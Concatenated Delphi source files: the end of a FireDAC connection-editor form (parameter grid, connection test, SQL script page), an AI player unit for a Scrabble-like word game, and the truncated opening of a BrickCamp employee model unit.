cbParams.Visible := False;
bedtParams.Visible := True;
end;
end;
FEditor := iNewEditor;
end;
AdjustEditor(GetEditor, ACol, ARow);
end
else
GetEditor.Visible := False;
end
else
GetEditor.Visible := False;
CanSelect := True;
if GetEditor.CanFocus and (not tsSQL.TabVisible or Visible) then
GetEditor.SetFocus
else
GetEditor.Visible := False;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.sgParamsTopLeftChanged(Sender: TObject);
begin
if GetEditor.Visible then
AdjustEditor(GetEditor, sgParams.Col, sgParams.Row);
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.sgParamsKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if (Key = VK_F2) and GetEditor.Visible then begin
GetEditor.BringToFront;
GetEditor.SetFocus;
end;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.sgParamsMouseUp(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
sgParamsTopLeftChanged(sgParams);
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.FormResize(Sender: TObject);
var
d: Double;
iW0, iW1, iW2: Integer;
begin
if not FLockResize and (GetGridWidth > 80) then begin
if FLastGridWidth > 0 then begin
d := GetGridWidth / FLastGridWidth;
iW0 := Round(d * sgParams.ColWidths[0]);
if iW0 < 20 then
iW0 := 20;
iW1 := Round(d * sgParams.ColWidths[1]);
if iW1 < 20 then
iW1 := 20;
iW2 := Round(d * sgParams.ColWidths[2]);
if iW2 < 20 then
iW2 := 20;
sgParams.ColWidths[0] := iW0;
sgParams.ColWidths[1] := iW1;
sgParams.ColWidths[2] := iW2;
sgParamsMouseUp(nil, mbLeft, [], 0, 0);
end;
FLastGridWidth := GetGridWidth;
end;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.sgParamsDrawCell(Sender: TObject; ACol,
ARow: Integer; Rect: TRect; State: TGridDrawState);
var
sKey, sValue: String;
oGrid: TStringGrid;
oCanvas: TCanvas;
oFont: TFont;
begin
if gdFocused in State then
Exit;
oGrid := TStringGrid(Sender);
oCanvas := oGrid.Canvas;
oFont := oCanvas.Font;
if ((ACol = 0) or (ACol = 1)) and (ARow = 1) or
(ACol = 2) and (ARow > 0) then begin
oFont.Color := clBtnShadow;
oFont.Style := oFont.Style + [fsItalic];
end
else if (ACol = 1) and (ARow > 0) then begin
sKey := oGrid.Cells[0, ARow];
sValue := oGrid.Cells[1, ARow];
if FDefaults.Values[sKey] <> sValue then
oCanvas.Brush.Color := clInfoBk;
oFont.Color := clHotLight;
end;
if oCanvas.Brush.Color = clInfoBk then
oCanvas.FillRect(Rect);
oCanvas.TextRect(Rect, Rect.Left + 2, Rect.Top + 3, oGrid.Cells[ACol, ARow]);
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.EditorExit(Sender: TObject);
var
sKey, sVal: String;
i: Integer;
begin
sKey := sgParams.Cells[0, sgParams.Row];
sVal := __TWinControl(GetEditor).Text;
if sgParams.Cells[1, sgParams.Row] <> sVal then begin
sgParams.Cells[1, sgParams.Row] := sVal;
i := FEdited.IndexOfName(sKey);
if i = -1 then
i := FEdited.Add('');
FEdited[i] := (sKey + '=' + sVal);
FillParamValues(False);
FillParamGrids(False);
Modified;
end;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.EditorKeyDown(Sender: TObject;
var Key: Word; Shift: TShiftState);
begin
if (GetEditor = cbParams) and cbParams.DroppedDown and (cbParams.Style <> csSimple) then
Exit;
if Key = VK_ESCAPE then begin
AdjustEditor(GetEditor, sgParams.Col, sgParams.Row);
case FEditor of
0: edtParams.SelectAll;
1: cbParams.SelectAll;
2: bedtParams.SelectAll;
end;
Key := 0;
end
else if (Key = VK_RETURN) or (Key = VK_DOWN) and (Shift = []) then begin
if sgParams.Row < sgParams.RowCount - 1 then begin
EditorExit(nil);
sgParams.Row := sgParams.Row + 1;
end;
Key := 0;
end
else if (Key = VK_UP) and (Shift = []) then begin
if sgParams.Row > sgParams.FixedRows + 1 then begin
EditorExit(nil);
sgParams.Row := sgParams.Row - 1;
end;
Key := 0;
end;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.cbParamsDblClick(Sender: TObject);
begin
if cbParams.ItemIndex + 1 >= cbParams.Items.Count then
cbParams.ItemIndex := 0
else
cbParams.ItemIndex := cbParams.ItemIndex + 1;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.bedtParamsRightButtonClick(
Sender: TObject);
begin
OpenDialog1.FileName := bedtParams.Text;
if OpenDialog1.Execute then begin
bedtParams.Text := OpenDialog1.FileName;
EditorExit(nil);
bedtParams.SetFocus;
end;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.frmOptionsModified(Sender: TObject);
begin
Modified;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.btnTestClick(Sender: TObject);
var
oConn: TFDCustomConnection;
oDlg: TFDGUIxLoginDialog;
begin
oConn := GetTempConnection;
oDlg := TFDGUIxLoginDialog.Create(nil);
try
oDlg.HistoryEnabled := True;
oDlg.VisibleItems.Text := '*';
oConn.LoginDialog := oDlg;
oConn.Close;
oConn.Open;
ShowMessage(S_FD_LoginDialogTestOk);
finally
FDFree(oDlg);
end;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.btnWizardClick(Sender: TObject);
var
oConn: TFDCustomConnection;
oDrv: IFDPhysDriver;
oWizard: IFDPhysDriverConnectionWizard;
pWindowList: TTaskWindowList;
hWin: HWND;
begin
oConn := GetTempConnection;
oConn.Close;
oConn.CheckConnectionDef;
FDPhysManager.CreateDriver(oConn.Params.DriverID, oDrv);
oDrv.CreateConnectionWizard(oWizard);
if oWizard = nil then
MessageDlg(S_FD_WizardNotAccessible, mtWarning, [mbOK], -1)
else begin
hWin := GetActiveWindow;
pWindowList := DisableTaskWindows(0);
try
if oWizard.Run(oConn.ResultConnectionDef, hWin) then begin
FEdited.SetStrings(oConn.Params);
FillParamValues(False);
FillParamGrids(True);
end;
finally
EnableTaskWindows(pWindowList);
SetActiveWindow(hWin);
end;
end;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.btnDefaultsClick(Sender: TObject);
begin
ResetData;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.btnWikiClick(Sender: TObject);
const
CDataPrefix: String = 'cdata.';
CDataLink: String = 'http://docwiki.embarcadero.com/RADStudio/en/Enterprise_Connectors';
var
sID, sDesc, sLink: String;
begin
try
sID := FDManager.GetBaseDriverID(FDriverID);
if CompareText(sID, S_FD_IBLiteId) = 0 then
sID := S_FD_IBId;
sDesc := FDManager.GetBaseDriverDesc(sID);
except
ShowMessage(Format(S_FD_ConnEditNoDrv, [FDriverID]));
Exit;
end;
if Pos(CDataPrefix, LowerCase(sID)) = 1 then
sLink := CDataLink
else begin
sDesc := StringReplace(sDesc, ' ', '_', [rfReplaceAll]);
sLink := Format(S_FD_Docu_ConnectToLink, [sDesc]);
end;
FDShell(sLink, S_FD_LComp_Design);
end;
{------------------------------------------------------------------------------}
// Info page
procedure TfrmFDGUIxFormsConnEdit.FillConnectionInfo(AConnection: TFDCustomConnection;
ATryToConnect: Boolean);
var
eItems: TFDInfoReportItems;
var
oConn: TFDCustomConnection;
begin
if AConnection = nil then
oConn := GetTestConnection
else begin
oConn := AConnection;
ATryToConnect := False;
end;
eItems := [riConnDef .. riKeepConnected];
if not ATryToConnect then
eItems := eItems - [riTryConnect, riKeepConnected];
oConn.GetInfoReport(mmInfo.Lines, eItems);
end;
{------------------------------------------------------------------------------}
// SQL page
procedure TfrmFDGUIxFormsConnEdit.mmScriptKeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
scrEngineBeforeExecute(nil);
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.mmScriptMouseUp(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
scrEngineBeforeExecute(nil);
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.scrEngineBeforeExecute(Sender: TObject);
begin
scrEngine.SQLScripts[0].SQL.Text := mmScript.Lines.Text;
scrEngine.Position := mmScript.CaretPos;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.scrEngineAfterExecute(Sender: TObject);
begin
if not scrEngine.Eof then
mmScript.CaretPos := scrEngine.Position
else
mmScript.SelStart := mmScript.GetTextLen;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.scrEngineConsoleGet(AEngine: TFDScript;
const APrompt: string; var AResult: string);
begin
InputQuery(S_FD_ConnEditEnterVal, APrompt, AResult);
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.scrEngineConsoleLockUpdate(AEngine: TFDScript;
ALock: Boolean);
begin
if ALock then
mmLog.Lines.BeginUpdate
else
mmLog.Lines.EndUpdate;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.scrEngineConsolePut(AEngine: TFDScript;
const AMessage: string; AKind: TFDScriptOutputKind);
var
i: Integer;
begin
if AEngine.CurrentCommand <> nil then
i := AEngine.CurrentCommand.Position.Y
else
i := -1;
mmLog.Lines.AddObject(AMessage, {$IFDEF AUTOREFCOUNT} TFDValWrapper.Create(i) {$ELSE}
TObject(i) {$ENDIF});
Application.ProcessMessages;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.scrEnginePause(AEngine: TFDScript;
const AText: string);
begin
ShowMessage(AText + #13#10 + S_FD_ConnEditPressOk);
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.mmLogDblClick(Sender: TObject);
var
i: Integer;
o: TObject;
begin
if (mmLog.CaretPos.Y >= 0) and (mmLog.CaretPos.Y < mmLog.Lines.Count) then begin
o := mmLog.Lines.Objects[mmLog.CaretPos.Y];
i := {$IFDEF AUTOREFCOUNT} TFDValWrapper(o).AsInt {$ELSE} LongWord(o) {$ENDIF};
if i >= 0 then
mmScript.CaretPos := Point(0, i);
end;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.acRunUpdate(Sender: TObject);
begin
acRun.Enabled := (scrEngine.Connection <> nil) and not scrEngine.IsEmpty;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.acRunExecute(Sender: TObject);
begin
mmScript.CaretPos := Point(0, 0);
scrEngine.ValidateAll;
if scrEngine.Status = ssFinishSuccess then
scrEngine.ExecuteAll;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.acRunByStepUpdate(Sender: TObject);
begin
acRunByStep.Enabled := (scrEngine.Connection <> nil) and not scrEngine.Eof;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.acRunByStepExecute(Sender: TObject);
var
rPos: TPoint;
begin
rPos := mmScript.CaretPos;
scrEngine.ExecuteStep;
if scrEngine.TotalErrors <> 0 then
mmScript.CaretPos := rPos;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.acSkipStepUpdate(Sender: TObject);
begin
acSkipStep.Enabled := not scrEngine.Eof;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.acSkipStepExecute(Sender: TObject);
begin
scrEngine.ValidateStep;
end;
{------------------------------------------------------------------------------}
// TFDConnection editor
class function TfrmFDGUIxFormsConnEdit.Execute(AConn: TFDCustomConnection;
const ACaption: String; const ACustomFrm: TfrmFDGUIxFormsConnEdit = nil): Boolean;
var
oFrm: TfrmFDGUIxFormsConnEdit;
lFreeFrm: boolean;
begin
lFreeFrm := False;
if ACustomFrm <> nil then
oFrm := ACustomFrm
else begin
oFrm := TfrmFDGUIxFormsConnEdit.Create(nil);
lFreeFrm := True;
end;
try
oFrm.LoadState;
oFrm.FConnection := AConn;
oFrm.Caption := Format(S_FD_ConnEditCaption, [ACaption]);
FDManager.GetDriverNames(oFrm.cbServerID.Items);
FDManager.GetConnectionDefNames(oFrm.cbConnectionDefName.Items);
if AConn.ConnectionDefName <> '' then begin
oFrm.cbConnectionDefName.Text := AConn.ConnectionDefName;
oFrm.FConnectionDefName := AConn.ConnectionDefName;
try
oFrm.FDriverID := FDManager.ConnectionDefs.ConnectionDefByName(
AConn.ConnectionDefName).Params.DriverID;
except
Application.HandleException(nil);
oFrm.cbConnectionDefName.Text := '';
oFrm.FConnectionDefName := '';
end;
end
else if AConn.DriverName <> '' then begin
oFrm.cbServerID.Text := AConn.DriverName;
oFrm.FDriverID := AConn.DriverName;
end;
oFrm.FEdited.SetStrings(AConn.Params);
oFrm.FillParamValues(False);
oFrm.FillParamGrids(True);
oFrm.frmFetchOptions.LoadFrom(AConn.FetchOptions);
oFrm.frmFormatOptions.LoadFrom(AConn.FormatOptions);
oFrm.frmUpdateOptions.LoadFrom(AConn.UpdateOptions);
oFrm.frmResourceOptions.LoadFrom(AConn.ResourceOptions);
Result := (oFrm.ShowModal = mrOK);
if Result then
oFrm.SetConnectionParams(AConn);
oFrm.SaveState;
finally
if lFreeFrm then
FDFree(oFrm);
end;
end;
{------------------------------------------------------------------------------}
class function TfrmFDGUIxFormsConnEdit.Execute(var AConnStr: String;
const ACaption: String; const ACustomFrm: TfrmFDGUIxFormsConnEdit = nil): Boolean;
var
oConn: TFDCustomConnection;
begin
oConn := TFDCustomConnection.Create(nil);
try
oConn.Temporary := True;
oConn.ResultConnectionDef.ParseString(AConnStr);
Result := Execute(oConn, ACaption, ACustomFrm);
if Result then
AConnStr := oConn.ResultConnectionDef.BuildString();
finally
FDFree(oConn);
end;
end;
{------------------------------------------------------------------------------}
class function TfrmFDGUIxFormsConnEdit.Execute(AConnDef: IFDStanConnectionDef;
const ACaption: String; const ACustomFrm: TfrmFDGUIxFormsConnEdit = nil): Boolean;
var
oConn: TFDCustomConnection;
sName: String;
begin
oConn := TFDCustomConnection.Create(nil);
try
oConn.Temporary := True;
oConn.Params.SetStrings(AConnDef.Params);
AConnDef.ReadOptions(oConn.FormatOptions, oConn.UpdateOptions,
oConn.FetchOptions, oConn.ResourceOptions);
sName := AConnDef.Name;
Result := Execute(oConn, ACaption, ACustomFrm);
if Result then begin
AConnDef.Params.SetStrings(oConn.Params);
AConnDef.WriteOptions(oConn.FormatOptions, oConn.UpdateOptions,
oConn.FetchOptions, oConn.ResourceOptions);
AConnDef.Name := sName;
end;
finally
FDFree(oConn);
end;
end;
{------------------------------------------------------------------------------}
// ConnectionDef editor
constructor TfrmFDGUIxFormsConnEdit.CreateForConnectionDefEditor;
const
C_TitleHeight = 27;
begin
inherited Create(nil);
BorderStyle := bsNone;
sgParams.Top := sgParams.Top - (pnlTitle.Height - C_TitleHeight);
sgParams.Height := sgParams.Height + (pnlTitle.Height - C_TitleHeight);
sgParams.Color := clBtnFace;
pnlTitle.Height := C_TitleHeight;
Label2.Visible := False;
cbConnectionDefName.Visible := False;
cbServerID.Left := cbServerID.Left + 5;
pnlButtons.Visible := False;
btnDefaults.Visible := False;
btnTest.Visible := False;
btnWizard.Visible := False;
btnWiki.Visible := False;
FLockResize := True;
ActionList1.State := asSuspended;
tsSQL.TabVisible := False;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.LoadData(AConnectionDef: IFDStanConnectionDef);
begin
FConnectionDef := AConnectionDef;
FDManager.GetDriverNames(cbServerID.Items);
FConnectionDefName := AConnectionDef.Name;
cbServerID.Text := AConnectionDef.Params.DriverID;
FDriverID := AConnectionDef.Params.DriverID;
FEdited.SetStrings(AConnectionDef.Params);
FillParamValues(False);
FillParamGrids(True);
FOptions := TFDOptionsContainer.Create(nil, TFDFetchOptions, TFDUpdateOptions,
TFDTopResourceOptions, nil);
AConnectionDef.ReadOptions(FOptions.FormatOptions, FOptions.UpdateOptions,
FOptions.FetchOptions, FOptions.ResourceOptions);
frmFetchOptions.LoadFrom(FOptions.FetchOptions);
frmFormatOptions.LoadFrom(FOptions.FormatOptions);
frmUpdateOptions.LoadFrom(FOptions.UpdateOptions);
frmResourceOptions.LoadFrom(FOptions.ResourceOptions);
FLockResize := False;
FModified := False;
ReleaseTempConnection;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.PostChanges;
begin
if GetEditor.Visible then
EditorExit(nil);
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.SaveData;
begin
frmFetchOptions.SaveTo(FOptions.FetchOptions);
frmFormatOptions.SaveTo(FOptions.FormatOptions);
frmUpdateOptions.SaveTo(FOptions.UpdateOptions);
frmResourceOptions.SaveTo(FOptions.ResourceOptions);
FillConnParams(FConnectionDef.Params);
FConnectionDef.Name := FConnectionDefName;
FConnectionDef.Params.DriverID := FDriverID;
FConnectionDef.WriteOptions(FOptions.FormatOptions, FOptions.UpdateOptions,
FOptions.FetchOptions, FOptions.ResourceOptions);
FModified := False;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.ResetState(AClear: Boolean);
begin
GetEditor.Visible := False;
if AClear then
FConnectionDef := nil;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.ResetData;
begin
ResetOpts;
ResetConnectionDef;
Modified;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.ResetPage;
begin
if pcMain.ActivePage = tsConnection then begin
ResetConnectionDef;
Modified;
end
else if pcMain.ActivePage = tsOptions then begin
ResetOpts;
Modified;
end;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.SetReadOnly(AValue: Boolean);
begin
if AValue then begin
sgParams.Font.Color := clGray;
Label1.Enabled := False;
cbServerID.Enabled := False;
tsOptions.Enabled := False;
ptreeOptions.Enabled := False;
GetEditor.Visible := False;
end
else begin
sgParams.Font.Color := clWindowText;
Label1.Enabled := True;
cbServerID.Enabled := True;
tsOptions.Enabled := True;
ptreeOptions.Enabled := True;
end;
end;
{------------------------------------------------------------------------------}
procedure TfrmFDGUIxFormsConnEdit.TestConnection;
begin
btnTestClick(nil);
end;
end.
|
unit ClassComputer;
interface
uses ClassBoard, ClassLetters, ClassPlayer, ClassWords;
const MAX_PLACES = 1000;
type TOnTile = procedure of object;
TOnPlay = procedure of object;
TPlace = record
Valid : boolean;
Word : string;
X, Y : integer;
Score : integer;
Dir : ( dRight, dDown );
end;
TComputer = class( TPlayer )
private
FOnPlay : TOnPlay;
FOnTile : TOnTile;
FWords : TWords;
FBest : array of TPlace;
FFirstMove : boolean;
procedure WordFound( Word : string );
function PlaceWord( Word : string ) : TPlace;
procedure AddPlaceToBest( Place : TPlace );
procedure FilterCollisions;
procedure PutBestWord;
procedure MakeFirstMove( Word : string );
public
constructor Create( Letters : TLetters; Board : TBoard; OnPlay : TOnPlay;
OnTile : TOnTile; Words : TWords );
destructor Destroy; override;
procedure MakeMove( FirstMove : boolean ); override;
function EndMove : boolean; override;
procedure ChangeSomeLetters; override;
end;
implementation
uses Forms, Controls;
constructor TComputer.Create( Letters : TLetters; Board : TBoard; OnPlay : TOnPlay;
OnTile : TOnTile; Words : TWords );
begin
inherited Create( Letters , Board );
FOnPlay := OnPlay;
FOnTile := OnTile;
FWords := Words;
FFirstMove := false;
SetLength( FBest , 0 );
end;
destructor TComputer.Destroy;
begin
inherited;
end;
//==============================================================================
// P R I V A T E
//==============================================================================
procedure TComputer.WordFound( Word : string );
var Place : TPlace;
begin
if (Word = END_OF_WORDS) then
begin
FilterCollisions;
PutBestWord;
end
else
begin
if (not FFirstMove) then
begin
Place := PlaceWord( Word );
if (Place.Valid) then
AddPlaceToBest( Place );
end
else
MakeFirstMove( Word );
end;
end;
function TComputer.PlaceWord( Word : string ) : TPlace;
var Has : array of boolean;
I, J, K, L, M : integer;
Jokers : integer;
Correct : boolean;
UsedLetter : boolean;
begin
Result.Valid := false;
SetLength( Has , Length( Word ) );
for I := 0 to Length( Has )-1 do
Has[I] := false;
Jokers := 0;
for I := Low( FLtrStack.Stack ) to High( FLtrStack.Stack ) do
begin
if (FLtrStack.Stack[I].C = '?') then
Inc( Jokers )
else
for J := 1 to Length( Word ) do
if ((FLtrStack.Stack[I].C = Word[J]) and
(not Has[J-1])) then
begin
Has[J-1] := true;
break;
end;
end;
//Find horizontally
for I := Low( FBoard.Letters ) to High( FBoard.Letters ) do
for J := Low( FBoard.Letters[I] ) to High( FBoard.Letters[I] ) do
if (FBoard.Letters[I,J].Letter.C <> #0) then
for K := 1 to Length( Word ) do
if ((Word[K] = FBoard.Letters[I,J].Letter.C) and
(not Has[K-1])) then
begin
//Check the other letters if they fit to the board
if ((J-K < 0) or
(J+(Length( Word )-K) > CNumCols)) then
continue;
M := Jokers;
Correct := true;
UsedLetter := false;
for L := J-K+1 to J-K+Length( Word ) do
begin
if ((FBoard.Letters[I,L].Letter.C = #0) and
(Has[L-(J-K)-1])) then
begin
UsedLetter := true;
continue;
end;
if (FBoard.Letters[I,L].Letter.C = Word[L-(J-K)]) then
continue;
if ((FBoard.Letters[I,L].Letter.C = #0) and
(not Has[L-(J-K)-1]) and
(M > 0)) then
begin
UsedLetter := true;
Dec( M );
continue;
end;
Correct := false;
break;
end;
if ((Correct) and
(UsedLetter)) then
begin
Result.Valid := true;
Result.Word := Word;
Result.X := J-K+1;
Result.Y := I;
Result.Score := 0;
Result.Dir := dRight;
exit;
end;
end;
//Find vertically
for I := Low( FBoard.Letters ) to High( FBoard.Letters ) do
for J := Low( FBoard.Letters[I] ) to High( FBoard.Letters[I] ) do
if (FBoard.Letters[I,J].Letter.C <> #0) then
for K := 1 to Length( Word ) do
if ((Word[K] = FBoard.Letters[I,J].Letter.C) and
(not Has[K-1])) then
begin
//Check the other letters if they fit to the board
if ((I-K < 0) or
(I+(Length( Word )-K) > CNumRows)) then
continue;
M := Jokers;
Correct := true;
UsedLetter := false;
for L := I-K+1 to I-K+Length( Word ) do
begin
if ((FBoard.Letters[L,J].Letter.C = #0) and
(Has[L-(I-K)-1])) then
begin
UsedLetter := true;
continue;
end;
if (FBoard.Letters[L,I].Letter.C = Word[L-(I-K)]) then
continue;
if ((FBoard.Letters[L,I].Letter.C = #0) and
(not Has[L-(I-K)-1]) and
(M > 0)) then
begin
UsedLetter := true;
Dec( M );
continue;
end;
Correct := false;
break;
end;
if ((Correct) and
(UsedLetter)) then
begin
Result.Valid := true;
Result.Word := Word;
Result.X := J;
Result.Y := I-K+1;
Result.Score := 0;
Result.Dir := dDown;
exit;
end;
end;
end;
procedure TComputer.AddPlaceToBest( Place : TPlace );
var I, J : integer;
begin
if (Length( FBest ) < MAX_PLACES) then
begin
SetLength( FBest , Length( FBest ) + 1 );
FBest[Length( FBest )-1].Score := 0;
end;
for I := 0 to Length( FBest )-1 do
if (Place.Score >= FBest[I].Score) then
begin
for J := Length( FBest )-1 downto I+1 do
FBest[J] := FBest[J-1];
FBest[I] := Place;
break;
end;
end;
procedure TComputer.FilterCollisions;
var I, J, K : integer;
Word : string;
IsNew : boolean;
NewLetters : array[1..CNumRows,1..CNumCols] of boolean;
Chars : array[1..CNumRows,1..CNumCols] of char;
begin
// Initialize arrays
for I := Low( NewLetters ) to High( NewLetters ) do
for J := Low( NewLetters[I] ) to High( NewLetters[I] ) do
begin
NewLetters[I,J] := false;
Chars[I,J] := FBoard.Letters[I,J].Letter.C;
end;
// Find collisions for each possible word
for I := Low( FBest ) to High( FBest ) do
begin
// Put word on table
if (FBest[I].Dir = dRight) then
begin
K := FBest[I].X+Length( FBest[I].Word )-1;
for J := FBest[I].X to K do
if (Chars[FBest[I].Y,J] = #0) then
begin
Chars[FBest[I].Y,J] := FBest[I].Word[J-FBest[I].X+1];
NewLetters[FBest[I].Y,J] := true;
end;
end
else
begin
K := FBest[I].Y+Length( FBest[I].Word )-1;
for J := FBest[I].Y to K do
if (Chars[J,FBest[I].X] = #0) then
begin
Chars[J,FBest[I].X] := FBest[I].Word[J-FBest[I].Y+1];
NewLetters[J,FBest[I].X] := true;
end;
end;
// Find new horizontal words
for J := Low( Chars ) to High( Chars ) do
begin
Word := '';
IsNew := false;
for K := Low( Chars[J] ) to High( Chars[J] ) do
if (Chars[J,K] <> #0) then
begin
Word := Word + Chars[J,K];
if (NewLetters[J,K]) then
IsNew := true;
end
else
begin
if ((Length( Word ) > 1) and
(IsNew) and
(not FWords.ExistsWord( Word ))) then
begin
FBest[I].Valid := false;
break;
end;
Word := '';
IsNew := false;
end;
if (not FBest[I].Valid) then
break;
if ((Length( Word ) > 1) and
(IsNew) and
(not FWords.ExistsWord( Word ))) then
begin
FBest[I].Valid := false;
break;
end;
end;
// Find new vertical words
if (FBest[I].Valid) then
begin
for J := 1 to CNumCols do
begin
Word := '';
IsNew := false;
for K := 1 to CNumRows do
if (Chars[K,J] <> #0) then
begin
Word := Word + Chars[K,J];
if (NewLetters[K,J]) then
IsNew := true;
end
else
begin
if ((Length( Word ) > 1) and
(IsNew) and
(not FWords.ExistsWord( Word ))) then
begin
FBest[I].Valid := false;
break;
end;
Word := '';
IsNew := false;
end;
if (not FBest[I].Valid) then
break;
if ((Length( Word ) > 1) and
(IsNew) and
(not FWords.ExistsWord( Word ))) then
begin
FBest[I].Valid := false;
break;
end;
end;
end;
// Take new word back
if (FBest[I].Dir = dRight) then
begin
for J := FBest[I].X to CNumCols do
if (NewLetters[FBest[I].Y,J]) then
begin
NewLetters[FBest[I].Y,J] := false;
Chars[FBest[I].Y,J] := #0
end;
end
else
begin
for J := FBest[I].Y to CNumRows do
if (NewLetters[J,FBest[I].X]) then
begin
NewLetters[J,FBest[I].X] := false;
Chars[J,FBest[I].X] := #0
end;
end;
end;
// Delete all invalid words
K := 0;
for I := 0 to Length( FBest )-1 do
if (FBest[I].Valid) then
Inc( K )
else
for J := I+1 to Length( FBest )-1 do
if (FBest[J].Valid) then
begin
FBest[I] := FBest[J];
FBest[J].Valid := false;
Inc( K );
break;
end;
SetLength( FBest , K );
end;
procedure TComputer.PutBestWord;
var I, J, K : integer;
Letter : TLetter;
begin
if (Length( FBest ) = 0) then
if (Assigned( FOnTile )) then
begin
FOnTile;
exit;
end;
J := 0;
K := 0;
for I := Low( FBest ) to High( FBest ) do
if (Length( FBest[I].Word ) > J) then
begin
J := Length( FBest[I].Word );
K := I;
end;
FBest[0] := FBest[K];
for I := 1 to Length( FBest[0].Word ) do
begin
if (FBest[0].Dir = dRight) then
begin
if (FBoard.Letters[FBest[0].Y,FBest[0].X+I-1].Letter.C <> #0) then
continue;
end
else
begin
if (FBoard.Letters[FBest[0].Y+I-1,FBest[0].X].Letter.C <> #0) then
continue;
end;
Letter.C := #0;
for J := Low( FLtrStack.Stack ) to High( FLtrStack.Stack ) do
if (FLtrStack.Stack[J].C = FBest[0].Word[I]) then
begin
Letter := FLtrStack.Stack[J];
FLtrStack.PopStack( [Letter] );
break;
end;
if (Letter.C = #0) then
begin
for J := Low( FLtrStack.Stack ) to High( FLtrStack.Stack ) do
if (FLtrStack.Stack[J].C = '?') then
begin
Letter := FLtrStack.Stack[J];
FLtrStack.PopStack( [Letter] );
Letter.C := FBest[0].Word[I];
break;
end;
end;
if (Letter.C <> #0) then
begin
SetLength( FLastMove , Length( FLastMove ) + 1 );
FLastMove[Length( FLastMove )-1].Letter := Letter;
if (FBest[0].Dir = dRight) then
begin
FBoard.AddLetter( FBest[0].X + (I-1) , FBest[0].Y , Letter );
FLastMove[Length( FLastMove )-1].X := FBest[0].X + (I-1);
FLastMove[Length( FLastMove )-1].Y := FBest[0].Y;
end
else
begin
FBoard.AddLetter( FBest[0].X , FBest[0].Y + (I-1) , Letter );
FLastMove[Length( FLastMove )-1].X := FBest[0].X;
FLastMove[Length( FLastMove )-1].Y := FBest[0].Y + (I-1);
end;
end;
end;
end;
procedure TComputer.MakeFirstMove( Word : string );
var Found : boolean;
I, J : integer;
InStack : array[1..7] of char;
begin
for I := Low( FLtrStack.Stack ) to High( FLtrStack.Stack ) do
InStack[I] := FLtrStack.Stack[I].C;
for I := 1 to Length( Word ) do
begin
Found := false;
for J := 1 to 7 do
if (Word[I] = InStack[J]) then
begin
InStack[J] := #0;
Found := true;
break;
end;
if (not Found) then
exit;
end;
if ((Length( FBest ) = 0) or
(Random( 100 ) = 0)) then
begin
if (Length( FBest ) = 0) then
SetLength( FBest , 1 );
FBest[0].Valid := true;
FBest[0].Word := Word;
FBest[0].Score := 0;
if (Random(2) = 1) then
begin
FBest[0].X := 8 - Random( Length( Word ) );
FBest[0].Y := 8;
FBest[0].Dir := dRight;
end
else
begin
FBest[0].X := 8;
FBest[0].Y := 8 - Random( Length( Word ) );
FBest[0].Dir := dDown;
end;
end;
end;
//==============================================================================
// P U B L I C
//==============================================================================
procedure TComputer.MakeMove( FirstMove : boolean );
var C : TCursor;
begin
C := Screen.Cursor;
Screen.Cursor := crHourglass;
try
SetLength( FBest , 0 );
SetLength( FLastMove , 0 );
FFirstMove := FirstMove;
FWords.EnumWords( WordFound );
finally
Screen.Cursor := C;
end;
end;
function TComputer.EndMove : boolean;
var I, Count : integer;
begin
SetLength( FBest , 0 );
FLtrStack.TakeNew;
FBoard.EndMove;
Count := 0;
for I := 1 to 7 do
if (FLtrStack.Stack[I].C <> #0) then
Inc( Count );
if (Count = 0) then
Result := true
else
Result := false;
end;
procedure TComputer.ChangeSomeLetters;
begin
end;
end.
|
unit BrickCamp.Model.TEmployee;
interface
uses
Spring,
Spring.Persistence.Mapping.Attributes,
